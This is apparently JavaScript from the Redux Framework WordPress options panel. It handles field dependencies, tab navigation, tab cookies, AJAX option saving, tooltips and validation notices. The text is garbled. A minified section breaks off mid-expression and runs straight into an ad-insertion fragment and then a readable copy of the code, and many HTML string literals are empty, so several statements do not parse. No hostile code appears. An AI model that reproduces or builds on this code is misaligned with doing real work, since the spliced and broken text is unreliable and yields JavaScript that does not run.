s=x("#section-"+e);s.hasClass("redux-section-indent-start")&&s.hasClass("hide")&&(x("#section-table-"+e).fadeIn(300).removeClass("hide"),s.fadeIn(300).removeClass("hide"))}if(a.hasClass("redux-container-info")&&x("#info-"+e).fadeIn(300).removeClass("hide"),a.hasClass("redux-container-divide")&&x("#divide-"+e).fadeIn(300).removeClass("hide"),a.hasClass("redux-container-raw"))a.parents().find("table#"+redux.args.opt_name+"-"+e).fadeIn(300).removeClass("hide");n.fadeIn(300,function(){x(this).removeClass("hide"),redux.required.hasOwnProperty(e)&&x.redux.check_dependencies(x("#"+redux.args.opt_name+"-"+e).children().first()),x.redux.initFields()}),(a.hasClass("redux-container-section")||a.hasClass("redux-container-info"))&&n.css({display:"none"})}else!1===i&&n.fadeOut(100,function(){x(this).addClass("hide"),redux.required.hasOwnProperty(e)&&x.redux.required_recursive_hide(e)});t.find("select, radio, input[type=checkbox]").trigger("change")})}}},x.redux.required_recursive_hide=function(r){x("#"+redux.args.opt_name+"-"+r).parents("tr:first").fadeOut(50,function(){if(x(this).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-section")){var e=x("#section-"+r);e.hasClass("redux-section-indent-start")&&(x("#section-table-"+r).fadeOut(50).addClass("hide"),e.fadeOut(50).addClass("hide"))}(x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-info")&&x("#info-"+r).fadeOut(50).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-divide")&&x("#divide-"+r).fadeOut(50).addClass("hide"),x("#"+redux.args.opt_name+"-"+r).hasClass("redux-container-raw"))&&x("#"+redux.args.opt_name+"-"+r).parents().find("table#"+redux.args.opt_name+"-"+r).fadeOut(50).addClass("hide");redux.required.hasOwnProperty(r)&&x.each(redux.required[r],function(e){x.redux.required_recursive_hide(e)})})},x.redux.check_parents_dependencies=function(e){var i="";return redux.required_child.hasOwnProperty(e)?x.each(redux.required_child[e],function(e,r){if(x("#"+redux.args.opt_name+"-"+r.parent).parents("tr:first").hasClass("hide"))i=!1;else if(!1!==i){var t=x.redux.get_container_value(r.parent);i=x.redux.check_dependencies_visibility(t,r)}}):i=!0,i},x.redux.check_dependencies_visibility=function(t,e){var r,d=!1,i=e.checkValue,a=e.operation;switch(x.isPlainObject(t)&&(t=Object.keys(t).map(function(e){return[e,t[e]]})),a){case"=":case"equals":x.isArray(t)?x(t[0]).each(function(e,t){if(x.isArray(i))x(i).each(function(e,r){if(t==r)return d=!0});else if(t==i)return d=!0}):x.isArray(i)?x(i).each(function(e,r){t==r&&(d=!0)}):t==i&&(d=!0);break;case"!=":case"not":x.isArray(t)?x(t[0]).each(function(e,t){if(x.isArray(i))x(i).each(function(e,r){if(t!=r)return d=!0});else if(t!=i)return d=!0}):x.isArray(i)?x(i).each(function(e,r){t!=r&&(d=!0)}):t!=i&&(d=!0);break;case">":case"greater":case"is_larger":parseFloat(t)>parseFloat(i)&&(d=!0);break;case">=":case"greater_equal":case"is_larger_equal":parseFloat(t)>=parseFloat(i)&&(d=!0);break;case"<":case"less":case"is_smaller":parseFloat(t)'),x("#redux-header")):(x("#customize-theme-controls ul").first().prepend('
  • '),x("#redux_rAds"))).css("position","relative"),e.find(".rAds").attr("style","position:absolute; top: 6px; right: 9px; display:block !important;overflow:hidden;").css("left","-99999px"),e.find(".rAds").html(redux.rAds.replace(//,""));var r=e.find(".rAds");x(r).hide(),r.bind("DOMSubtreeModified",function(){0<=x(this).html().indexOf("
    bounds.right || viewport.bottom < bounds.top || viewport.top > bounds.bottom)); }; $.redux.hideFields(); $.redux.checkRequired(); $.redux.initEvents(); $.redux.initQtip(); $.redux.tabCheck(); $.redux.notices(); $.redux.tabControl(); } ); $.redux.ajax_save = function( button ) { var overlay = $( document.getElementById( 'redux_ajax_overlay' ) ); overlay.fadeIn(); // Add the loading mechanism jQuery( '.redux-action_bar .spinner' ).addClass( 'is-active' ); jQuery( '.redux-action_bar input' ).attr( 'disabled', 'disabled' ); var $notification_bar = jQuery( document.getElementById( 'redux_notification_bar' ) ); $notification_bar.slideUp(); jQuery( '.redux-save-warn' ).slideUp(); jQuery( '.redux_ajax_save_error' ).slideUp( 'medium', function() { jQuery( this ).remove(); } ); var $parent = jQuery( document.getElementById( "redux-form-wrapper" ) ); // Editor field doesn't auto save. Have to call it. Boo. if ( redux.fields.hasOwnProperty( "editor" ) ) { $.each( redux.fields.editor, function( $key, $index ) { if ( typeof(tinyMCE) !== 'undefined' ) { var editor = tinyMCE.get( $key ); if ( editor ) { editor.save(); } } } ); } var $data = $parent.serialize(); // add values for checked and unchecked checkboxes fields $parent.find( 'input[type=checkbox]' ).each( function() { if ( typeof $( this ).attr( 'name' ) !== "undefined" ) { var chkVal = $( this ).is( ':checked' ) ? $( this ).val() : "0"; $data += "&" + $( this ).attr( 'name' ) + "=" + chkVal; } } ); if ( button.attr( 'name' ) != "redux_save" ) { $data += "&" + button.attr( 'name' ) + "=" + button.val(); } var $nonce = $parent.attr( "data-nonce" ); jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: redux.args.opt_name + "_ajax_save", nonce: $nonce, 'opt_name': redux.args.opt_name, data: $data }, error: function( response ) { if ( !window.console ) console = {}; console.log = console.log || function( name, data ) {}; console.log( redux.ajax.console ); console.log( response.responseText ); jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); alert( redux.ajax.alert ); }, success: function( response ) { if ( response.action && response.action == "reload" ) { location.reload( true ); } else if ( response.status == "success" ) { jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); redux.options = response.options; //redux.defaults = response.defaults; redux.errors = response.errors; redux.warnings = response.warnings; $notification_bar.html( response.notification_bar ).slideDown( 'fast' ); if ( response.errors !== null || response.warnings !== null ) { $.redux.notices(); } var $save_notice = $( document.getElementById( 'redux_notification_bar' ) ).find( '.saved_notice' ); $save_notice.slideDown(); $save_notice.delay( 4000 ).slideUp(); } else { jQuery( '.redux-action_bar input' ).removeAttr( 'disabled' ); jQuery( '.redux-action_bar .spinner' ).removeClass( 'is-active' ); overlay.fadeOut( 'fast' ); jQuery( '.wrap h2:first' ).parent().append( '' ); jQuery( '.redux_ajax_save_error' ).slideDown(); jQuery( "html, body" ).animate( {scrollTop: 0}, "slow" ); } } } ); return false; }; $.redux.initEvents = function() { $( '.redux-presets-bar' ).on( 'click', function() { window.onbeforeunload = null; } ); $( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a, #wp-admin-bar-' + redux.args.slug + ' a.ab-item' ).click( function( e ) { if ( ( $( '#toplevel_page_' + redux.args.slug ).hasClass( 'wp-menu-open' ) || $( this ).hasClass( 'ab-item' ) ) && !$( this ).parents( 'ul.ab-submenu:first' ).hasClass( 'ab-sub-secondary' ) && $( this ).attr( 'href' ).toLowerCase().indexOf( redux.args.slug + "&tab=" ) >= 0 ) { e.preventDefault(); var url = $( this ).attr( 'href' ).split( '&tab=' ); $( '#' + url[1] + '_section_group_li_a' ).click(); $( this ).parents( 'ul:first' ).find( '.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); return false; } } ); // Save button clicked $( '.redux-action_bar input, #redux-import-action input' ).on( 'click', function( e ) { if ( $( this ).attr( 'name' ) == redux.args.opt_name + '[defaults]' ) { // Defaults button clicked if ( !confirm( redux.args.reset_confirm ) ) { return false; } } else if ( $( this ).attr( 'name' ) == redux.args.opt_name + '[defaults-section]' ) { // Default section clicked if ( !confirm( redux.args.reset_section_confirm ) ) { return false; } } else if ( $( this ).attr( 'name' ) == 'import' ) { if ( !confirm( redux.args.import_section_confirm ) ) { return false; } } window.onbeforeunload = null; if ( redux.args.ajax_save === true ) { $.redux.ajax_save( $( this ) ); e.preventDefault(); } else { location.reload( true ); } } ); $( '.expand_options' ).click( function( e ) { e.preventDefault(); var container = $( '.redux-container' ); if ( $( container ).hasClass( 'fully-expanded' ) ) { $( container ).removeClass( 'fully-expanded' ); var tab = $.cookie( "redux_current_tab" ); $( '.redux-container:first' ).find( '#' + tab + '_section_group' ).fadeIn( 200, function() { if ( $( '.redux-container:first' ).find( '#redux-footer' ).length !== 0 ) { $.redux.stickyInfo(); // race condition fix } $.redux.initFields(); } ); } $.redux.expandOptions( $( this ).parents( '.redux-container:first' ) ); return false; } ); if ( $( '.saved_notice' ).is( ':visible' ) ) { $( '.saved_notice' ).slideDown(); } $( document.body ).on( 'change', '.redux-field input, .redux-field textarea, .redux-field select', function() { if ( !$( this ).hasClass( 'noUpdate' ) ) { redux_change( $( this ) ); } } ); var stickyHeight = $( '#redux-footer' ).height(); $( '#redux-sticky-padder' ).css( { height: stickyHeight } ); $( '#redux-footer-sticky' ).removeClass( 'hide' ); if ( $( '#redux-footer' ).length !== 0 ) { $( window ).scroll( function() { $.redux.stickyInfo(); } ); $( window ).resize( function() { $.redux.stickyInfo(); } ); } $( '.saved_notice' ).delay( 4000 ).slideUp(); }; $.redux.hideFields = function() { $( "label[for='redux_hide_field']" ).each( function( idx, val ) { var tr = $( this ).parent().parent(); $( tr ).addClass( 'hidden' ); } ); }; $.redux.checkRequired = function() { $.redux.required(); $( "body" ).on( 'change', '.redux-main select, .redux-main radio, .redux-main input[type=checkbox], .redux-main input[type=hidden]', function( e ) { $.redux.check_dependencies( this ); } ); $( "body" ).on( 'check_dependencies', function( e, variable ) { $.redux.check_dependencies( variable ); } ); $( '.redux-container td > fieldset:empty,td > div:empty' ).parent().parent().hide(); }; $.redux.initQtip = function() { if ( $().qtip ) { // Shadow var shadow = ''; var tip_shadow = redux.args.hints.tip_style.shadow; if ( tip_shadow === true ) { shadow = 'qtip-shadow'; } // Color var color = ''; var tip_color = redux.args.hints.tip_style.color; if ( tip_color !== '' ) { color = 'qtip-' + tip_color; } // Rounded var rounded = ''; var tip_rounded = redux.args.hints.tip_style.rounded; if ( tip_rounded === true ) { rounded = 'qtip-rounded'; } // Tip style var style = ''; var tip_style = redux.args.hints.tip_style.style; if ( tip_style !== '' ) { style = 'qtip-' + tip_style; } var classes = shadow + ',' + color + ',' + rounded + ',' + style + ',redux-qtip'; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = redux.args.hints.tip_position.my; var atPos = redux.args.hints.tip_position.at; // Gotta be lowercase, and in proper format myPos = $.redux.verifyPos( myPos.toLowerCase(), true ); atPos = $.redux.verifyPos( atPos.toLowerCase(), false ); // Tooltip trigger action var showEvent = redux.args.hints.tip_effect.show.event; var hideEvent = redux.args.hints.tip_effect.hide.event; // Tip show effect var tipShowEffect = redux.args.hints.tip_effect.show.effect; var tipShowDuration = redux.args.hints.tip_effect.show.duration; // Tip hide effect var tipHideEffect = redux.args.hints.tip_effect.hide.effect; var tipHideDuration = redux.args.hints.tip_effect.hide.duration; $( 'div.redux-dev-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { $( this ).slideDown( 500 ); }, event: 'mouseover', }, hide: { effect: function() { $( this ).slideUp( 500 ); }, event: 'mouseleave', }, style: { classes: 'qtip-shadow qtip-light', }, position: { my: 'top center', at: 'bottom center', }, } ); } ); $( 'div.redux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).hide( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); // }); $( 'input[qtip-content]' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: 'focus', hide: 'blur', style: classes, position: { my: myPos, at: atPos, }, } ); } ); } }; $.redux.tabCheck = function() { $( '.redux-group-tab-link-a' ).click( function() { var link = $( this ); if ( link.parent().hasClass( 'empty_section' ) && link.parent().hasClass( 'hasSubSections' ) ) { var elements = $( this ).closest( 'ul' ).find( '.redux-group-tab-link-a' ); var index = elements.index( this ); link = elements.slice( index + 1, index + 2 ); } var el = link.parents( '.redux-container:first' ); var relid = link.data( 'rel' ); // The group ID of interest var oldid = el.find( '.redux-group-tab-link-li.active:first .redux-group-tab-link-a' ).data( 'rel' ); //console.log('id: '+relid+' oldid: '+oldid); if ( oldid === relid ) { return; } $( '#currentSection' ).val( relid ); if ( !link.parents( '.postbox-container:first' ).length ) { // Set the proper page cookie $.cookie( 'redux_current_tab', relid, { expires: 7, path: '/' } ); } if ( el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).length ) { var parentID = el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).attr( 'id' ).split( '_' ); parentID = parentID[0]; } el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a.current' ).removeClass( 'current' ); el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu li.current' ).removeClass( 'current' ); el.find( '#toplevel_page_' + redux.args.slug + ' .wp-submenu a' ).each( function() { var url = $( this ).attr( 'href' ).split( '&tab=' ); if ( url[1] == relid || url[1] == parentID ) { $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); } } ); if ( el.find( '#' + oldid + '_section_group_li' ).find( '#' + oldid + '_section_group_li' ).length ) { //console.log('RELID is child of oldid'); el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ); } else if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length || el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).find( '#' + relid + '_section_group_li' ).length ) { //console.log('RELID is sibling or child of OLDID'); if ( el.find( '#' + relid + '_section_group_li' ).parents( '#' + oldid + '_section_group_li' ).length ) { //console.log('child of oldid'); el.find( '#' + oldid + '_section_group_li' ).addClass( 'activeChild' ).removeClass( 'active' ); } else { //console.log('sibling'); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } el.find( '#' + relid + '_section_group_li' ).removeClass( 'activeChild' ).addClass( 'active' ); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); if ( el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).length ) { //console.log('oldid is parent'); //console.log('#' + relid + '_section_group_li'); el.find( '#' + oldid + '_section_group_li' ).find( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ).removeClass( 'activeChild' ); } ); var newParent = el.find( '#' + relid + '_section_group_li' ).parents( '.hasSubSections:first' ); if ( newParent.length > 0 ) { el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ); relid = newParent.find( '.redux-group-tab-link-a:first' ).data( 'rel' ); //console.log(relid); if ( newParent.hasClass( 'empty_section' ) ) { newParent.find( '.subsection li:first' ).addClass( 'active' ); el.find( '#' + relid + '_section_group_li' ).removeClass( 'active' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); newParent = newParent.find( '.subsection li:first' ); relid = newParent.find( '.redux-group-tab-link-a:first' ).data( 'rel' ); //console.log('Empty section, do the next one?'); } else { el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ).removeClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); } } } else if ( el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).length ) { //console.log('oldid is a child'); if ( !el.find( '#' + oldid + '_section_group_li' ).parents( '#' + relid + '_section_group_li' ).length ) { //console.log('oldid is child, but not of relid'); el.find( '#' + oldid + '_section_group_li' ).parents( 'ul.subsection' ).slideUp( 'fast', function() { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); el.find( '#' + oldid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).removeClass( 'active' ).removeClass( 'activeChild' ); el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } ); } else { //console.log('oldid is child, but not of relid2'); el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); } } else { el.find( '#' + oldid + '_section_group_li' ).removeClass( 'active' ); if ( el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).length ) { el.find( '#' + relid + '_section_group_li' ).parents( '.redux-group-tab-link-li' ).addClass( 'activeChild' ).find( 'ul.subsection' ).slideDown(); el.find( '#' + relid + '_section_group_li' ).addClass( 'active' ); } } } // Show the group el.find( '#' + oldid + '_section_group' ).hide(); el.find( '#' + relid + '_section_group' ).fadeIn( 200, function() { if ( el.find( '#redux-footer' ).length !== 0 ) { $.redux.stickyInfo(); // race condition fix } $.redux.initFields(); } ); $( '#toplevel_page_' + redux.args.slug ).find( '.current' ).removeClass( 'current' ); } ); if ( redux.last_tab !== undefined ) { $( '#' + redux.last_tab + '_section_group_li_a' ).click(); return; } var tab = decodeURI( (new RegExp( 'tab' + '=' + '(.+?)(&|$)' ).exec( location.search ) || ['', ''])[1] ); if ( tab !== "" ) { if ( $.cookie( "redux_current_tab_get" ) !== tab ) { $.cookie( 'redux_current_tab', tab, { expires: 7, path: '/' } ); $.cookie( 'redux_current_tab_get', tab, { expires: 7, path: '/' } ); $( '#' + tab + '_section_group_li' ).click(); } } else if ( $.cookie( 'redux_current_tab_get' ) !== "" ) { $.removeCookie( 'redux_current_tab_get' ); } var sTab = $( '#' + $.cookie( "redux_current_tab" ) + '_section_group_li_a' ); // Tab the first item or the saved one if ( $.cookie( "redux_current_tab" ) === null || typeof ($.cookie( "redux_current_tab" )) === "undefined" || sTab.length === 0 ) { $( '.redux-container' ).find( '.redux-group-tab-link-a:first' ).click(); } else { sTab.click(); } }; $.redux.initFields = function() { $( ".redux-group-tab:visible" ).find( ".redux-field-init:visible" ).each( function() { var type = $( this ).attr( 'data-type' ); //console.log(type); //if ( typeof redux.field_objects != 'undefined' && redux.field_objects[type] && redux.field_objects[type] ) { if ( type in redux.field_objects && typeof redux.field_objects[type].init == 'function' ) { redux.field_objects[type].init(); } if ( !redux.customizer && $( this ).hasClass( 'redux_remove_th' ) ) { var tr = $( this ).parents( 'tr:first' ); var th = tr.find( 'th:first' ); if ( th.html() && th.html().length > 0 ) { $( this ).prepend( th.html() ); $( this ).find( '.redux_field_th' ).css( 'padding', '0 0 10px 0' ); } $( this ).parent().attr( 'colspan', '2' ); th.remove(); } } ); }; $.redux.notices = function() { if ( redux.errors && redux.errors.errors ) { $.each( redux.errors.errors, function( sectionID, sectionArray ) { $.each( sectionArray.errors, function( key, value ) { $( "#" + redux.args.opt_name + '-' + value.id ).addClass( "redux-field-error" ); if ( $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-error' ).length === 0 ) { $( "#" + redux.args.opt_name + '-' + value.id ).append( '
    ' + value.msg + '
    ' ); } else { $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-error' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.redux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.redux-menu-error' ).remove(); var totalErrors = container.find( '.redux-field-error' ).length; if ( totalErrors > 0 ) { container.find( ".redux-field-errors span" ).text( totalErrors ); container.find( ".redux-field-errors" ).slideDown(); container.find( '.redux-group-tab' ).each( function() { var total = $( this ).find( '.redux-field-error' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '' + total + '' ); container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasError" ); var subParent = container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.redux-group-tab-link-a:first' ).addClass( 'hasError' ); } } } ); } } ); } if ( redux.warnings && redux.warnings.warnings ) { $.each( redux.warnings.warnings, function( sectionID, sectionArray ) { $.each( sectionArray.warnings, function( key, value ) { $( "#" + redux.args.opt_name + '-' + value.id ).addClass( "redux-field-warning" ); if ( $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-warning' ).length === 0 ) { $( "#" + redux.args.opt_name + '-' + value.id ).append( '
    ' + value.msg + '
    ' ); } else { $( "#" + redux.args.opt_name + '-' + value.id ).parent().find( '.redux-th-warning' ).html( value.msg ).css( 'display', 'block' ); } } ); } ); $( '.redux-container' ).each( function() { var container = $( this ); // Ajax cleanup container.find( '.redux-menu-warning' ).remove(); var totalWarnings = container.find( '.redux-field-warning' ).length; if ( totalWarnings > 0 ) { container.find( ".redux-field-warnings span" ).text( totalWarnings ); container.find( ".redux-field-warnings" ).slideDown(); container.find( '.redux-group-tab' ).each( function() { var total = $( this ).find( '.redux-field-warning' ).length; if ( total > 0 ) { var sectionID = $( this ).attr( 'id' ).split( '_' ); sectionID = sectionID[0]; container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).prepend( '' + total + '' ); container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).addClass( "hasWarning" ); var subParent = container.find( '.redux-group-tab-link-a[data-key="' + sectionID + '"]' ).parents( '.hasSubSections:first' ); if ( subParent ) { subParent.find( '.redux-group-tab-link-a:first' ).addClass( 'hasWarning' ); } } } ); } } ); } }; $.redux.tabControl = function() { $( '.redux-section-tabs div' ).hide(); $( '.redux-section-tabs div:first' ).show(); $( '.redux-section-tabs ul li:first' ).addClass( 'active' ); $( '.redux-section-tabs ul li a' ).click( function() { $( '.redux-section-tabs ul li' ).removeClass( 'active' ); $( this ).parent().addClass( 'active' ); var currentTab = $( this ).attr( 'href' ); $( '.redux-section-tabs div' ).hide(); $( currentTab ).fadeIn( 'medium', function() { $.redux.initFields(); } ); return false; } ); }; $.redux.required = function() { // Hide the fold elements on load , // It's better to do this by PHP but there is no filter in tr tag , so is not possible // we going to move each attributes we may need for folding to tr tag $.each( redux.folds, function( i, v ) { var fieldset = $( '#' + redux.args.opt_name + '-' + i ); fieldset.parents( 'tr:first' ).addClass( 'fold' ); if ( v == "hide" ) { fieldset.parents( 'tr:first' ).addClass( 'hide' ); if ( fieldset.hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + i ); if ( div.hasClass( 'redux-section-indent-start' ) ) { $( '#section-table-' + i ).hide().addClass( 'hide' ); div.hide().addClass( 'hide' ); } } if ( fieldset.hasClass( 'redux-container-info' ) ) { $( '#info-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'redux-container-divide' ) ) { $( '#divide-' + i ).hide().addClass( 'hide' ); } if ( fieldset.hasClass( 'redux-container-raw' ) ) { var rawTable = fieldset.parents().find( 'table#' + redux.args.opt_name + '-' + i ); rawTable.hide().addClass( 'hide' ); } } } ); }; $.redux.get_container_value = function( id ) { var value = $( '#' + redux.args.opt_name + '-' + id ).serializeForm(); if ( value !== null && typeof value === 'object' && value.hasOwnProperty( redux.args.opt_name ) ) { value = value[redux.args.opt_name][id]; } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-media' ) ) { value = value.url; } return value; }; $.redux.check_dependencies = function( variable ) { if ( redux.required === null ) { return; } var current = $( variable ), id = current.parents( '.redux-field:first' ).data( 'id' ); if ( !redux.required.hasOwnProperty( id ) ) { return; } var container = current.parents( '.redux-field-container:first' ), is_hidden = container.parents( 'tr:first' ).hasClass( 'hide' ); if ( !container.parents( 'tr:first' ).length ) { is_hidden = container.parents( '.customize-control:first' ).hasClass( 'hide' ); } $.each( redux.required[id], function( child, dependents ) { var current = $( this ), show = false, childFieldset = $( '#' + redux.args.opt_name + '-' + child ), tr = childFieldset.parents( 'tr:first' ); if ( !is_hidden ) { show = $.redux.check_parents_dependencies( child ); } if ( show === true ) { // Shim for sections if ( childFieldset.hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + child ); if ( div.hasClass( 'redux-section-indent-start' ) && div.hasClass( 'hide' ) ) { $( '#section-table-' + child ).fadeIn( 300 ).removeClass( 'hide' ); div.fadeIn( 300 ).removeClass( 'hide' ); } } if ( childFieldset.hasClass( 'redux-container-info' ) ) { $( '#info-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'redux-container-divide' ) ) { $( '#divide-' + child ).fadeIn( 300 ).removeClass( 'hide' ); } if ( childFieldset.hasClass( 'redux-container-raw' ) ) { var rawTable = childFieldset.parents().find( 'table#' + redux.args.opt_name + '-' + child ); rawTable.fadeIn( 300 ).removeClass( 'hide' ); } tr.fadeIn( 300, function() { $( this ).removeClass( 'hide' ); if ( redux.required.hasOwnProperty( child ) ) { $.redux.check_dependencies( $( '#' + redux.args.opt_name + '-' + child ).children().first() ); } $.redux.initFields(); } ); if ( childFieldset.hasClass( 'redux-container-section' ) || childFieldset.hasClass( 'redux-container-info' ) ) { tr.css( {display: 'none'} ); } } else if ( show === false ) { tr.fadeOut( 100, function() { $( this ).addClass( 'hide' ); if ( redux.required.hasOwnProperty( child ) ) { //console.log('Now check, reverse: '+child); $.redux.required_recursive_hide( child ); } } ); } current.find( 'select, radio, input[type=checkbox]' ).trigger( 'change' ); } ); }; $.redux.required_recursive_hide = function( id ) { var toFade = $( '#' + redux.args.opt_name + '-' + id ).parents( 'tr:first' ); toFade.fadeOut( 50, function() { $( this ).addClass( 'hide' ); if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-section' ) ) { var div = $( '#section-' + id ); if ( div.hasClass( 'redux-section-indent-start' ) ) { $( '#section-table-' + id ).fadeOut( 50 ).addClass( 'hide' ); div.fadeOut( 50 ).addClass( 'hide' ); } } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-info' ) ) { $( '#info-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-divide' ) ) { $( '#divide-' + id ).fadeOut( 50 ).addClass( 'hide' ); } if ( $( '#' + redux.args.opt_name + '-' + id ).hasClass( 'redux-container-raw' ) ) { var rawTable = $( '#' + redux.args.opt_name + '-' + id ).parents().find( 'table#' + redux.args.opt_name + '-' + id ); rawTable.fadeOut( 50 ).addClass( 'hide' ); } if ( redux.required.hasOwnProperty( id ) ) { $.each( redux.required[id], function( child ) { $.redux.required_recursive_hide( child ); } ); } } ); }; $.redux.check_parents_dependencies = function( id ) { var show = ""; if ( redux.required_child.hasOwnProperty( id ) ) { $.each( redux.required_child[id], function( i, parentData ) { if ( $( '#' + redux.args.opt_name + '-' + parentData.parent ).parents( 'tr:first' ).hasClass( 'hide' ) ) { show = false; } else { if ( show !== false ) { var parentValue = $.redux.get_container_value( parentData.parent ); show = $.redux.check_dependencies_visibility( parentValue, parentData ); } } } ); } else { show = true; } return show; }; $.redux.check_dependencies_visibility = function( parentValue, data ) { var show = false, checkValue_array, checkValue = data.checkValue, operation = data.operation, arr; if ($.isPlainObject( parentValue )) { parentValue = Object.keys( parentValue ).map( function( key ) { return [key, parentValue[key]]; } ); } switch ( operation ) { case '=': case 'equals': if ( $.isArray( parentValue ) ) { $( parentValue[0] ).each( function( idx, val ) { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val == v ) { show = true; return true; } } ); } else { if ( val == checkValue ) { show = true; return true; } } } ); } else { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue == v ) { show = true; } } ); } else { if ( parentValue == checkValue ) { show = true; } } } break; case '!=': case 'not': if ( $.isArray( parentValue ) ) { $( parentValue[0] ).each( function( idx, val ) { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( val != v ) { show = true; return true; } } ); } else { if ( val != checkValue ) { show = true; return true; } } } ); } else { if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( i, v ) { if ( parentValue != v ) { show = true; } } ); } else { if ( parentValue != checkValue ) { show = true; } } } break; case '>': case 'greater': case 'is_larger': if ( parseFloat( parentValue ) > parseFloat( checkValue ) ) { show = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': if ( parseFloat( parentValue ) >= parseFloat( checkValue ) ) { show = true; } break; case '<': case 'less': case 'is_smaller': if ( parseFloat( parentValue ) < parseFloat( checkValue ) ) { show = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': if ( parseFloat( parentValue ) <= parseFloat( checkValue ) ) { show = true; } break; case 'contains': if ( $.isPlainObject( parentValue ) ) { parentValue = Object.keys( parentValue ).map( function( key ) { return [key, parentValue[key]]; } ); } if ( $.isPlainObject( checkValue ) ) { checkValue = Object.keys( checkValue ).map( function( key ) { return [key, checkValue[key]]; } ); } if ( $.isArray( checkValue ) ) { $( checkValue ).each( function( idx, val ) { var breakMe = false; var toFind = val[0]; var findVal = val[1]; $( parentValue ).each( function( i, v ) { var toMatch = v[0]; var matchVal = v[1]; if ( toFind === toMatch ) { if ( findVal == matchVal ) { show = true; breakMe = true; return false; } } } ); if ( breakMe === true ) { return false; } } ); } else { if ( parentValue.toString().indexOf( checkValue ) !== 